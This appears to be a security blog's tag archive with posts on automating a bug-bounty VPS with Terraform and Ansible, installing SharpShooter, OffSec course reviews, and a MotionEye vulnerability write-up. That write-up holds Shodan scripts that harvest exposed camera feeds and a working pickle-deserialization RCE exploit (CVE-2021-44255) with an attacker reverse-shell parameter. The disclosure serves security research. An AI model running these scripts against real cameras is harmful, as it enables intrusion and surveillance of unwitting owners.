Tag Archives: cybersecurity

Deploying and Configuring a Bug Bounty Box with Terraform and Ansible

Prerequisites and Getting Started

I sometimes like to spin up a virutal machine in the cloud, do some testing, and then tear it down. It doesn’t even have to be for bug bounty hunting, but since I’ve been hunting so sporadically lately, that’s what I’ve been using this project for.

Anyway, it becomes tedious to do this repeatedly, so I decided to automate a large majority of the infrastructure creation and configuration with Terraform and Ansible.

In the following article, I’ll deploy a node on Linode, my VPS provider of choice. Use this referral link for a $100, 60-day credit. That way, you can test this project out until you’re blue in the face. The node size I deploy in this post runs $10 a month.

While Terraform and Ansible can both accomplish the same things, they both have their wheel houses. Terraform should be used for deploying infrastructure and Ansible should be used to configure that infrastructure.

In order to follow along with this article, you’ll need to install Terraform and Ansible per your Operating System’s documentation. I’m using Ubuntu 20.10.

Let’s begin b creating a directory structure for your project.

mkdir -p ./bugbounty/{/terraform/templates,ansible}

Next, you’ll need to obtain credentials from Linode. If you haven’t already, create an account, then click on your account name in the top, right-hand corner and select “API Tokens.”

Select create an access token and give it a name. Select Linodes and Read/Write, and then click “Create Token.”

Linode Read/Write Access Token

The token will be a long string of characters. Save this token for usage in a bit!

Terraform

cd into the Terraform directory you just created and create the following files:

$ touch {main.tf,output.tf,variables.tf,variables.tfvars}

The main.tf file is where the magic is done. This file will create the VM to our specifications. The variables.tf file declares variables that are used in main.tf. variables.tfvars will have the initializing values for these variables. You can also initialize the variables directly in variables.tf or even on the command line, if you’d prefer. We do it this way because it makes updating variables slightly easier and our project simpler, in a sense. output.tf defines what values will be printed to the console after we run the project.

Next, create some templates within the templates directory.

touch {./templates/ansible.tmpl,./templates/playbook.tmpl,./templates/hosts}
main.tf

Copy the following code into main.tf:

terraform {
  required_providers {
    linode = {
      source  = "linode/linode"
      version = "1.27.0"
    }
  }
}

# Configure the Linode Provider
provider "linode" {
  token = var.token
}

# Create a Linode
resource "linode_instance" "bugbountybox" {
  image     = var.image
  label     = var.label
  region    = var.region
  type      = var.type
  root_pass = var.root_pass
}

# Create an Ansible playbook from a template file
resource "local_file" "bugbountybox_setup" {
  content = templatefile("./templates/playbook.tmpl",
    {
      ip_address = linode_instance.bugbountybox.ip_address
    }
  )
  file_permission = "0640"
  filename        = "../ansible/playbook.yml"
}

# Create an Ansible config from a template file. 
resource "local_file" "ansible_config" {
  content = templatefile("./templates/ansible.tmpl",
    {
      remote_user = "root"
    }
  )
  file_permission = "0640"
  filename        = "../ansible/ansible.cfg"
}

# Create an Ansible playbook from a template file
resource "local_file" "ansible_inventory" {
  content         = linode_instance.bugbountybox.ip_address
  file_permission = "0640"
  filename        = "../ansible/hosts"
}
variables.tf

Copy the following code into variables.tf:

variable "token" {
  type        = string
  description = "Linode APIv4 token."
  sensitive   = true
}

variable "image" {
  type        = string
  description = "Image to use for your VM."
  default     = "linode/ubuntu20.04"
}

variable "label" {
  type        = string
  description = "Label to give your VM."
}

variable "region" {
  type        = string
  description = "Region where the VM will be created."
}

variable "root_pass" {
  type        = string
  description = "Password for the root account on this VM."
  sensitive   = true
}

variable "type" {
  description = "Your Linode's plan type."
  # You can initialize variables here instead of the tfvars file. 
  default = "g6-standard-1"
}
variables.tfvars

Copy the following code into variables.tfvars, and enter the values as needed:

token     = "" # put your API token here. 
image     = "linode/ubuntu20.04"
label     = "bug-bounty-box"
region    = "us-east"
root_pass = "" # put your new VM's password here. 
output.tf

Copy the following code into output.tf:

output "IP_Address" {
  value = linode_instance.bugbountybox.ip_address
}

Templates

The templates will be used by Terraform to create files that Ansible will use. We could manually create/edit these Ansible files, but why do things manually when we can automate it?

Copy the following code into ansible.tmpl:

[defaults]
host_key_checking = False
remote_user = ${ remote_user }
ask_pass      = True

Copy the following code into playbook.tmpl:

---
- name: Update/upgrade and install packages on remote server.
  hosts: ${ ip_address }
  become: true
  tasks:
    - name: Update
      apt: update_cache=yes force_apt_get=yes cache_valid_time=3600

    - name: Upgrade all packages on servers
      apt: upgrade=dist force_apt_get=yes

    - name: Install packages
      apt:
        pkg:
          - ca-certificates
          - curl
          - apt-transport-https
          - lsb-release
          - gnupg
          - software-properties-common
          - python3-pip
          - unzip
          - tar
          - tmux
          - gobuster
          - wireguard
          - wireguard-tools
          - john
          - hashcat
          - nikto
          - ruby-full
          - ruby-railties
          - hydra
          - cewl
          - whois
          - squid
          - nmap
          - git
          - python3-impacket

        update_cache: true

    - name: Install Golang
      shell: |
        wget https://go.dev/dl/go1.18.linux-amd64.tar.gz
        tar -xvf go1.18.linux-amd64.tar.gz
        chown -R root:root ./go
        mv go /usr/local
        echo "export GOPATH=$HOME/go" >> $HOME/.bashrc
        echo "export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin" >> $HOME/.bashrc
      args:
        executable: /bin/bash

    - name: Install Amass
      shell: |
        curl -s https://api.github.com/repos/OWASP/Amass/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip amass* 
        chmod +x ./amass_linux_amd64/amass 
        mv ./amass_linux_amd64/amass /usr/bin/
      args:
        executable: /bin/bash

    - name: Install Nuclei
      shell: |
        curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip nuclei* nuclei
        chmod +x nuclei
        mv nuclei /usr/bin/
      args:
        executable: /bin/bash

    - name: Install FFUF
      shell: |
        curl -s https://api.github.com/repos/ffuf/ffuf/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
        tar xzf ffuf* ffuf
        chmod +x ffuf
        mv ffuf /usr/bin/
      args:
        executable: /bin/bash

    - name: Install Subfinder
      shell: |
        curl -s https://api.github.com/repos/projectdiscovery/subfinder/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip subfinder* subfinder
        chmod +x subfinder
        mv subfinder /usr/bin/
      args:
        executable: /bin/bash

    - name: Install Aquatone
      shell: |
        curl -s https://api.github.com/repos/michenriksen/aquatone/releases/latest | grep "browser_download_url.*linux_amd64-*" | cut -d : -f 2,3 | tr -d \" | wget -i -
        unzip aquatone* aquatone
        chmod +x aquatone 
        mv aquatone /usr/bin
      args:
        executable: /bin/bash

    - name: Install getallurls (gau)
      shell: |
        curl -s https://api.github.com/repos/lc/gau/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
        tar xzf gau* gau 
        chmod +x gau 
        mv gau /usr/bin
      args:
        executable: /bin/bash

    - name: Install CrackMapExec
      shell: |
        wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.2.2/cme-ubuntu-latest.zip
        unzip cme-ubuntu-latest.zip -d "$HOME/tools/*"
        pip3 install cffi==1.14.5
      args:
        executable: /bin/bash

    - name: Reboot the box
      reboot:
        msg: "Reboot initiated by Ansible for updates"
        connect_timeout: 5
        reboot_timeout: 300
        pre_reboot_delay: 0
        post_reboot_delay: 30
        test_command: uptime

If you take a close look at these templates, you’ll see variables indicated with the following templating syntax:

${ variable_name }

These are “filled in” during the terraform apply process. We only have a single variable in each of these files, but you can use as many as you’d like depending on what you’re trying to accomplish. This is a very powerful feature. It allows you to dynamically create files to be used in other processes – in our case, Ansible.

It’s Alive!

We are ready to create our infrastructure by running the following commands within the terraform directory. Type “yes” when prompted after the apply command.

$ terraform init

$ terraform fmt

$ terraform validate

$ terraform apply -var-file="./variables.tfvars"

The terraform init command initializes the project directory. terraform fmt formats the files to the canonical style. terraform validate validates the project to ensure it will work properly. Finally, terraform apply creates your infrastructure using the tfvars file you specified.

If everything goes as planned, you should see output similar to this.

terraform apply output

As you can see, the IP address of our VM was present in the output as we specified in outputs.tf.

Ansible

During the infrastructure creation process, several files should have been created in the ansible directory. Ansible will use these files update/upgrade and install packages on our VM. From the ansible directory we run the following command to configure our new VM. At the start, you will be prompted for the SSH password that you used in your tfvars file.

$ ansible-playbook -i hosts playbook.yml

We need to specify the hosts file that Terraform created so Ansible doesn’t use the hosts file located in /etc/ansible.

This process will take a few minutes to complete, but if all went as planned, you should see something similar to this on your terminal.

Tear it Down

When you are all done playing around with your new VM, you can destroy it with the following command. Please remember to destroy it or else you will incur costs. Type “yes” when prompted.

$ terraform destroy -var-file="./variables.tfvars"

What’s Next?

Now, play around with the above project. Can you set it up to deploy multiple VMs? Can you set it up to deploy multiple VMs, install some other packages, run some commands and send the output of those commands to a database somewhere? Can you set this up on multiple clouds?

The example here is pretty basic, and doesn’t necessarily follow best practices (especially with Ansible), but it gives you the idea of what can be done with automation. Some, if not all, of the leading bug bounty hunters are at least partially automating their work. You should automate too.

Feel free to download all this code from my github and don’t forget to use my link to sign up for a Linode account.

Links

Here are some links to more information and documentation that is pertinent to this article, including a link to this code on Github.

https://www.github.com/pizza-power/bugbountyboxautomation

https://www.terraform.io/cli

https://www.linode.com/docs/guides/how-to-build-your-infrastructure-using-terraform-and-linode/

https://registry.terraform.io/providers/linode/linode/latest/docs

Sharpshooter, Python2.7, and Pip2 Installation

Newer versions of Linux may not come with any sort of Python 2 installed. I recently wanted to run Sharpshooter, which is a “payload creation framework for the retrieval and execution of arbitrary CSharp source code.”

Problem is, Python 2 isn’t installed by default on Ubuntu 21.xx and neither is pip2. You also need to install an older (I think) version of jsmin – at least that’s what worked for me.

Use this script to install everything and get it up and running.

if [ "$EUID" -ne 0 ]
    then echo "Run as root!"
    exit
fi

# clone sharpshooter from github
git clone https://github.com/mdsecactivebreach/SharpShooter.git

add-apt-repository universe && apt update

apt install git curl

# install python2.7 and pip2
apt install python2.7 -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
chmod +x ./get-pip.py
sudo python2.7 ./get-pip.py

# install correct jsmin
wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
python2.7 ./jsmin-2.2.2/setup.py install

Hacking MotionEye/MotionEyeOS

Getting Started with MotionEye

MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.

MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.

Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.

#!/usr/bin/env python3

import sys
# pip3 install shodan
from shodan import Shodan
import requests

# check for api key
api = Shodan('') # Insert API key here

if api.api_key == '':
    print("No API key found! Exiting")
    sys.exit(1)

limit = 1000 # set this to limit your api query usage
counter = 0

url_file = open("urls.txt", "w")

for response in api.search_cursor('Server: motionEye'):
    ip = response['ip_str']
    port = response['port']
    url = f'http://{ip}:{port}'
    url_file.write(url + '\n')

    # Keep track of how many results have been downloaded so we don't use up all our query credits
    counter += 1
    if counter >= limit:
        break

url_file.close()

I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.

Finding Live Feeds

In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.

I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.

#!/usr/bin/env python3

import requests

url_file = open("urls.txt", "r")
urls = url_file.readlines()
url_file.close()

live_urls = open("live-urls.txt", "w")

for url in urls:
    try:
        response = requests.get(url + "/picture/0/current/", verify=False, timeout=3).status_code
        print(response)
        if response == 200:
            live_urls.write(url)
    except:
        pass

live_urls.close()

This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?

Information Leakage

It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.

However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?

Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.

Rate-Limiting and Default Credentials

So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.

Authenticated RCE Method #1

Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.

In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.

You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.

The final structure of my motioneye-config.tar.gz for the docker container is as follows:

├── camera-1.conf
├── motion.conf
├── motioneye.conf
└── tasks.pickle

Alternatively, the final structure of my motioneye-config.tar.gz lon MotionEyeOS is the following:

├── adjtime
├── camera-1.conf
├── crontabs
├── date.conf
├── localtime -> /usr/share/zoneinfo/UTC
├── motion.conf
├── motioneye.conf
├── ntp.conf
├── os.conf
├── proftpd.conf
├── shadow
├── shadow-
├── smb.conf
├── ssh
│   ├── ssh_host_dsa_key
│   ├── ssh_host_dsa_key.pub
│   ├── ssh_host_ecdsa_key
│   ├── ssh_host_ecdsa_key.pub
│   ├── ssh_host_ed25519_key
│   ├── ssh_host_ed25519_key.pub
│   ├── ssh_host_rsa_key
│   └── ssh_host_rsa_key.pub
├── static_ip.conf
├── tasks.pickle
├── version
├── watch.conf
└── wpa_supplicant.conf

Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.

Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.

#!/usr/bin/env python3

import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json


# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}


def get_cli_args():
    parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
    parser.add_argument(
        "--victim",
        help="Victim url in format ip:port, or just ip if port 80",
        required=True,
    )
    parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
    parser.add_argument(
        "--username", help="username of web interface, default=admin", default="admin"
    )
    parser.add_argument(
        "--password", help="password of web interface, default=blank", default=""
    )
    args = parser.parse_args()
    return args


def login(username, password, victim_url):
    session = requests.Session()
    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    headers = {"User-Agent": useragent}
    login_url = f"http://{victim_url}/login/"
    body = f"username={username}&password={password}"
    session.post(login_url, headers=headers, data=body)
    return session


def download_config(username, victim_url, session):
    download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
    backup_file = session.get(download_url)
    open("motioneye-config.tar.gz", "wb").write(backup_file.content)
    return


def create_pickle(ip_address, port):
    shellcode = ""  # put your shellcode here

    class EvilPickle(object):
        def __reduce__(self):
            cmd = shellcode
            return os.system, (cmd,)

    # need protocol=2 and fix_imports=True for python2 compatibility
    pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
    with open("tasks.pickle", "wb") as file:
        file.write(pickle_data)
        file.close()
    return


def decompress_add_file_recompress():
    with tarfile.open("./motioneye-config.tar.gz") as original_backup:
        original_backup.extractall("./motioneye-config")
        original_backup.close()
    original_backup.close()
    os.remove("./motioneye-config.tar.gz")
    # move malicious tasks.pickle into the extracted directory and then tar and gz it back up
    os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
    with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
        config_tar.add("./motioneye-config/", arcname=".")
    config_tar.close()
    return


def restore_config(username, password, victim_url, session):
    # a lot of this is not necessary, but makes for good tradecraft
    # recreated 'normal' requests as closely as I could
    t = int(time.time() * 1000)
    path = f"/config/restore/?_={t}&_username={username}"
    # admin_hash is the sha1 hash of the admin's password, which is '' in the default case
    admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
    signature = (
        hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
    )
    restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"

    # motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
    # so we have to manually create this
    files = {
        "files": (
            "motioneye-config.tar.gz",
            open("motioneye-config.tar.gz", "rb"),
            "application/gzip",
        )
    }

    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    boundary = "----WebKitFormBoundary" + "".join(
        random.sample(string.ascii_letters + string.digits, 16)
    )

    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "Content-Type": m.content_type,
        "User-Agent": useragent,
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
        "Origin": f"http://{victim_url}",
        "Referer": f"http://{victim_url}",
        "Accept-Language": "en-US,en;q=0.9",
    }
    response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
    # if response == reboot false then we need reboot routine
    content = json.loads(response.content.decode("utf-8"))

    if content["reboot"] == True:
        print("Rebooting! Stand by for shell!")
    else:
        print("Manual reboot needed!")
    return


if __name__ == "__main__":
    print("Running exploit!")
    arguments = get_cli_args()
    session = login(arguments.username, arguments.password, arguments.victim)
    download_config(arguments.username, arguments.victim, session)
    # sends attacker ip and port as arguments to create the pickle
    create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
    decompress_add_file_recompress()
    restore_config(arguments.username, arguments.password, arguments.victim, session)

Authenticated RCE Method #2

Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.

python rev shell

Conclusion

While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.

As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.

Update: I was give CVE-2021-44255 for the python pickle exploit.

I’ve Never Heard of Nim

IDK where I have been, but I never heard of this language until today. So, what’s the first thing you do when you learn about a language? You write a directory enumeration script with it.

Please disregard my horrible code, inability to follow Nim standards and philosophies, and the general hackiness of this code.

import httpclient
import parseopt
import strutils
import system
    
var p = initOptParser()
var wordlist: string
var url: string

while true:
  p.next()
  case p.kind
  of cmdEnd: break
  of cmdShortOption, cmdLongOption:
    if p.key == "u":
      url = p.val
    if p.key == "w":
      wordlist = p.val
  of cmdArgument:
    echo ""

let contents = readFile(wordlist)
let words = contents.splitLines()

var final_url: string
var client = newHttpClient(timeout = 100)

for i in 0 ..< words.len:
    final_url = url & "/" & words[i]
    try:
        let response = client.request(final_url, httpMethod = HttpGet)
        let status_code = response.status.split(' ')[0]
        if status_code == "200":
            echo final_url
    except:
        echo ""

All this code does is take a url parameter and a wordlist parameter and makes http get requests to the url + wordlist entry – standard directory enumeration stuff. If the response code is 200, that url gets sent to stdout.

As time permits I’ll update this app. It’d be cool to have it much more feature complete like gobuster, wfuzz, et. al. For now, see the github respository for more information.

Evasion Techniques and Breaching Defenses (PEN-300) – OSEP – Initial Thoughts

I just started this course the other day. I’m already neck deep in VBA, C#, and Powershell, which I need more experience in anyway. I had to do some C# for the AWAE/OSWE and I’ve written a couple very small web apps in C#. I’ve done a very minimal amount of Powershell, though I’ve been meaning to change that.

I know a lot of people say the OSCP is lacking in Active Directory attacking, which may be true. I’d counter by saying what the OSCP doesn’t cover, PEN-300 will cover. The courses go hand in hand. My early opinion is that anybody that takes and passes the OSCP should do PEN-300

All in all, I’m pleased so far. I’m only about 1/7th of the way through the PDF, though. I have a lot to go. With all that I have going on IRL, I’m not sure I’ll be able to finish it in the two months I’m allotted – I may have to get an extension.

My plan is to pass the OSEP exam in October and then start the EXP-301 course and pass that exam by the end of the year. This is an aggressive, and probably unrealistic goal, but oh well, haha.

Anyway, I’ll be back with a full report after the exam.

Advanced Web Attacks and Exploits -AWAE – Exam Review

> AWAE Course Overview

For people unfamiliar with this course and exam, here is a link to the Offensive security website. I’ve also written about it before, so you can check my post history. Basically the course is a giant pdf and a bunch of videos that go over web application attacks. You then get access to a lab consisting of 13 machines that are running a wide variety of vulnerable web-apps. In regards to languages/DBs/tech, this course covers VSCode, Visual Studio, JDGui, Javascript, PHP, Node, Python, Java, C#, mysql, and postgres – so it’s pretty thorough.

The exam is a 48 hour long exam where they give you access to two machines running vulnerable web-apps. You have to bypass auth on them to get administrator access and then escalate your attack to full-blown remote code execution. You’ll get two debugging machines that are running the same apps as the exam machines. You get full access to the app source code – this is a white-box course after all. You have to review the code base, and then use these debugging machines to develop ‘one-shot’ exploit script that bypasses auth and trigger RCE. I used python, as do most people, I think.

Oh yeah, and they watch you on camera the whole time.

After the exam time is up, assuming you have enough points to pass, you have another 24 hours to write an exam report documenting what you found and how you exploited it.

> How did it go?

First things first: I had to take this one twice. My power went out twice, briefly, and my father had to go to the hospital (he’s fine) during my first attempt. Even though he lives hours away, and there wasn’t much I could do, I was a little distracted. And it wasn’t like I was in front of the computer for the full 48 hours. I took a break about every 1.5 hours or so and slept 5-6 hours both nights.

Nevertheless, I still managed RCE on one of the boxes, and if I had another hour or so, I would have had an auth bypass on the second box – which would likely have let me pass. I look back and I just kind of laugh at how I failed it. I missed something simple that would have given me enough points to pass. I even knew what I needed – I just overlooked it.

I actually noticed the vulns on both boxes within an hour of looking at them. I then went down some rabbit holes for a bit and got sidetracked – especially on the box that I considered the harder one.

The second time around I crushed the exam in about 8 hours – RCE on both boxes. I had my report turned in at the 20 hour mark or so – and I was lollygagging.

If you don’t know me, my background is this: I’m not a professional developer. I don’t work in IT. I have never worked in IT. I just like computers. If I can pass this exam, so can you.

> Advice and Review

My advice for people that are preparing to take this exam is to just take their time and read the code. You need to know how to get the VSCode debugging going. It is a lifesaver. It is probably hard to pass if you don’t get it working. If you follow the code flow in a debugger, things should pop out at you. With that said, they do throw in a couple curve balls, which I bet throws some people for a loop. Now these curve balls aren’t hard to hit, per se, but someone that hasn’t been in the infosec/CTF/bug bounty world may miss these things.

Another question that I’ve been asked is, “Do you need an OSCP to do this couse?” I’ve changed my mind on this several times, and while I think an OSCP will give you a leg up, you don’t really need to have one – especially if you’re already involved the hacking/bug bounty/CTF world. If you’re coming at it straight from being a developer, it may not hurt to expose yourself to this stuff beforehand.

All in all, I’d say the exam was fair and maybe a little on the easy side. I say that as someone that failed it once, too, haha. But not only that, the exam is also a lot of fun. I love the Offensive Security exams. Some people will probably hate me for saying that, but they are a lot of fun.

Offensive Security AWAE/OSWE

I recently was enrolled in the Offensive Security Advanced Web Attacks and Exploits course. This is the newer version of the course, and it leads to the Offensive Security Web Expert Certification. Well, you’ll get the cert after you pass a 48 hour hands-on exam and write a report of your findings. Fun.

First off, I have bug bounty hunting/web app testing experience, so some of the material in the course is not new to me. With that said, the material is presented well, and I enjoyed being able to see somebody else’s methodology of going from initial exploit to full-blown remote code execution. And I definitely still learned a lot along the way.

I’m a mostly self-taught hacker, as are a lot of people in the field. Unfortunately, I find that when I learn on my own, I miss some things along the way. Usually it’s just little time-saving tricks or different ways of doing things, but sometimes I miss things that may cost me money in the bug hunting world. So, I like to supplement the self-learning with some courses occasionally.

If you’re reading this, you probably know how the labs are set up. You get access to 12 boxes running vulnerable software. You exploit them from initial exploit to RCE. The course manual and videos walk you through it, and then they give you “extra miles” to complete, if you’re inclined. The course manual and videos are well put together and explain all the exploits thoroughly.

Should you purchase this course? That depends. I think if you’re already established in the field and making some money bug hunting, you can probably pass it over. If you’re looking to make a transition into web-app pentesting from dev work, it would be a good choice for you. If you’re looking to challenge yourself, go for it. If you’re looking to bolster the resume, go for it.

What do you need to know to complete the course? Well, my skills in C# and Java are a little lacking, so those parts were the most challenging for me, but they were also the parts where I learned the most. I’ve seen some people recommend having an OSCP cert before starting the AWAE, but I don’t think that’s necessary. They are different beasts, and while there is some overlap, it isn’t much. I’d say having a thorough understand of Python (requests package and sessions), and Linux is much more helpful than having an OSCP. The course touches PHP, Node, regular Javascript, Python, C#, and Java (am I forgetting anything?), so if you are lacking experience in any of those, I’d recommend familiarizing yourself with them before you start the course.

So you wanna bug hunt?

> All the Rage:

Bug hunting seems to be all the rage these days. I can understand that, hacking is fun. So if you can hack (legally) and get paid, why not? Let me just tell you what you’re getting yourself into.

For one, you probably aren’t going to make much money, and even if you do make some money, you’d have probably made more with a part time job, or doing whatever needs to get done at your day job to move up in the organization and make more money.

Here are a few questions to ask yourself before you bug hunt.

Can you afford $20-$40 a month for a VPS? You’ll be doing A LOT of recon and you don’t want to do it from your home IP address. You’ll get IP bans, and it will really make your household angry if they can’t get on Netflix because you spent all night hammering Akamai or whatever the case may be.

Can you afford a $400 Burp Pro subscription? Yeah, you may be able to get away without it, but IMO it isn’t worth the effort – double so if you do/are planning to work in the security industry.

> Programs:

Now, you see all those programs listed for hacking on HackerOne and and BugCrowd? Well they are all public programs that have had thousands of people picking over their programs for YEARS at this point. That’s not to say some bugs aren’t still there, they are, but they are way, way less in numbers. Not to mention, many of them have had paid pentesters hacking on them. A lot of these programs were private before they went public too, so when you see the “launched” time, it actually isn’t true – the program didn’t just launch this month.

And don’t get me started on the unpaid bounty programs. They basically are getting all this work done without having to pay anybody. But hey, you’ll get points for hacking them!!!!! Oh wow, great. Unpaid programs should not exist. It lessens the value of our work.

Let me tell you a story of me and an unpaid program. About a year ago, I got invited to this program, and I immediately realized the scope was very large – which is awesome. Within a few days, I had found a bunch of bugs. All of these bugs were medium or higher, and one was EXTREMELY critical. So naturally, I’m happy, and I’m thinking I’m going to make some good money. Wrong. That’s when I found out that this program was unpaid.

I know, I know – it is my fault for not checking first. At the time, I was under the assumption that you had to be a paid program to be a private program. I don’t know where I got that from. My point remains valid. Basically, there is a good chance I saved this company millions of dollars, and without going into details, it could have been worse that just a monetary loss for them. You know what I got in return? Points. Great. Wow.

This actually happened to me again recently. Yes, I’m stupid. But I digress, haha.

> Coding:

I see a lot of posts asking if you need to know how to code to bug hunt. It sounds like a lot of these people are trying to get away without learning how to code. Let me help you.

YOU NEED TO KNOW HOW TO CODE.

You don’t have to be a pro, but you need to be decently fluent in python and bash, and at the very least, be able to read PHP and Javascript. The more experienced you are the better.

You see those people making a lot of money bug hunting? They are probably good coders. They’ve probably automated all their recon with Python or Bash scripts. They can decompile mobile and web apps. They’re pretty good coders, generally.

> Certs:

Let’s talk about the OSCP. Is it a cool cert? Yes. Does it teach you much about bug hunting? Yes and no. You’ll need to add a lot more techniques and tools to your arsenal to be successful. The offsec AWAE does have some topics that are useful to bug hunting – web apps in particular.

Let’s talk about these techniques and tools.

You’ll need to install a lot of tools you’ve never heard of. And listen, everybody has a massive amount of bug hunting scripted. They are constantly scanning ALL the hosts in EVERY program for low hanging fruit. Again, that doesn’t mean you won’t find anything, but it greatly reduces your chances.

You still wanna bug hunt? Go for it. But don’t get discouraged when you’re in the hole $600 bucks and you’ve found two self XSS vulns after a year. Lol

> TLDR:

Don’t bug hunt, and if you do, avoid unpaid programs. Better yet, spend your time advancing your career or getting a part time job. Also, use my Linode link for your VPS 😉

You should use a VPS for bug bounty hunting

Why should you use a VPS?

For one, it’ll keep your IP address from being banned by certain providers. How would it feel to wake up one day and not being able to access certain sites because your IP has been blacklisted? If you use a VPS, this isn’t much of an issue. You can just change out the IP from the VPS provider. It may be a littler harder to change your home IP address.

For two, it makes tool installation easier and faster. On Linode, I have a lengthy script that I run when I’m starting up a new box. The script sets up everything I need for bug bounty hunting. It makes tearing down a box and bringing it up a new one simple and quick.

Another reason you may want a cloud-based box running is for server capabilities. For example if you’re testing out some sort of XSS/XXE/etc. and you need a server to host a payload, your bug bounty box can serve double duty. Additionally, some hunters maintain giant databases of scraped webpages, nmap scans, targets and their subdomains, and on and on and on. But perhaps my favorite usage of a dedicated bug-bounty box is hosting your own semi-permanent Burp Collaborator server as described here.

I use this in my day-to-day exploitation because I don’t want to host this stuff at home, which exposes my personal IP address and whatever ports I have open to the general public, which I try to avoid.

Here is a small example of a script that I run. My script is significantly larger, but this is a decent start.

See the latest version on my github page.

#!/bin/bash
# for use with Ubuntu 20.04
# some security tools to get started
# use this to setup new bug bounty box
# use at your own risk

# check if running as root
if [ "$EUID" -ne 0 ]
	then echo "Run as root, please!"
	exit
fi

mkdir sectools
cd sectools

apt update -y && apt upgrade -y

# install some packages and tools that are used regularly
apt install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common \
net-tools \
nmap \
john \
hashcat \
python3-pip \
wfuzz \
nikto \
gobuster \
masscan \
ruby-full \
ruby-railties \
wireguard \
nfs-common \
hydra \
cewl \
mlocate

# evil winrm
gem install evil-winrm

# powershell
snap install powershell --classic

# amass
curl -s https://api.github.com/repos/OWASP/Amass/releases/latest | grep "browser_download_url.*linux_amd64.zip" | cut -d : -f 2,3 | tr -d \" | wget -i -
unzip amass* 
chmod +x ./amass_linux_amd64/amass 
